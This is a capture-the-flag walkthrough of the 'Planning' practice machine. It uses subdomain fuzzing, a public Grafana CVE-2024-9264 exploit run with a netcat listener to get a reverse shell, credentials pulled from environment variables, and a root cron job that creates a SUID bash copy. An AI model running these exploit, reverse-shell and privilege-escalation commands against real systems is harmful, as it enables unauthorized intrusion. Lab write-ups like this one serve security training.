
IP Address: 10.10.11.68
As is common in real life pentests, you will start the Planning box with credentials for the following account:
admin / 0D5oT70Fq13EvB5r
As a part of the initial reconnaissance, we can perform a Nmap scan against the target system to look the open ports available.
sudo nmap -sS -sV -sC -vv -T5 <--IP Address-->

From the Nmap result we can notice that we have just two ports enabled, Port 80 and Port 22.
For easy accessing, let's add the IP Address to our /etc/hosts file with the domain as planning.htb
sudo nano /etc/hosts
Contents:
<--IP Address--> planning.htb

Browsing through the domain http://planning.htb we are greeted with an education platform page.

And looking around the web application we don't find something really that important or a lead to follow along.
Running through fuff for fuzzing for some files and directories also led to nowhere.

But! Fuzzing it for virtual sub-domains using the bitquark-subdomains-top100000.txt file of SecList I found a Virtual subdomain.
ffuf -w <--Location to your SecList-->/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u "http://planning.htb" -H "HOST:FUZZ.planning.htb" -fs 178

with this found, let's add this too into the /etc/hosts file.
sudo nano /etc/hosts
Content:
<--IP Address--> grafana.planning.htb

Browsing to the subdomain http://grafana.planning.htb/ we are greeted with a login page.

We can login to this inter face with the given credentials:
admin0D5oT70Fq13EvB5r
And we get the dashboard of the Grafana page.

Looking at the version of Grafana installed in the target system. It is Vulnerable to a command injection and local file inclusion (LFI) via SQL expressions


While searching through the exploit for this Vulnerability, we find a GitHub Repository by z3k0sec show casing an RCE Exploit via SQL

So, let's clone this repository on our Kali Linux Machine
git clone https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit.git

Inside the folder, we find the python script called poc.py that we need to execute for receiving a RCE back to our Kali Linux Machine.
The use:
python3 poc.py [--url <target>] [--username <username>] [--password <password>] [--reverse-ip <IP>] [--reverse-port <PORT>]

So, first let's set up a listener in our terminal.
nc -lvnp 12345

Now, run the poc.py file.
python3 poc.py --url http://grafana.planning.htb --username admin --password 0D5oT70Fq13EvB5r --reverse-ip <--Your Machine IP Address--> --reverse-port 12345

We get a reverse shell back!
going through the entire system, we find that we are in a docker container.

By further search around, I stumble upon something that looks like a user credentials in the system environment.
env

using these credentials, we can try loging in into the system through SSH
ssh <--Username-->@<--IP Address-->

And we get the user flag here!

After finding the user flag, in search of further hints, we can see a folder called crontabs in /etc/crontabs that was two .db files in them.

This Cronjob has two work to do
root_grafana docker container into a zip file (which is password protected)cleanup.sh every minute both of these tasks are done as a root user or root privileges.
While looking at the services running and the open ports of these servers, we can notice that there is some locally enabled Port numbers
30008000netstat -tupln

These two port numbers are not a default port numbers nor are they accessible externally to the network. That grows our suspension.
So, we can open another terminal and then start a port-forwarding to this port number from our local host using ssh
ssh enzo@<--IP Address--> -L 8000:127.0.0.1:8000

Now, in our web browser, we can attempt to open this web-page http://localhost:8000

It asks us for the credentials. assuming that we can use the same credentials found from the crontab.db, we can try to login.
root
And we login!!!!!

Here, in this page, we can see the two Cronjbosto be present here.....
Also, we can create our own Cronjobs!!

Here, create a new Job with the following parameters.
Root Shellcp /bin/bash /tmp/shell && chmod u+s /tmp/shell
Now, click on Run Now


and in the terminal where you had connected the Port-Forwarding you can go to the temp directory and see the bash script present there.
cd /tmp/
ls

Now, run the bash script
./shell -p

Now, we can print out the root flag!!
cat /root/root.txt

And we finish!!!!!!!
Thanks to d00msl4y3r & FisMatHack 😊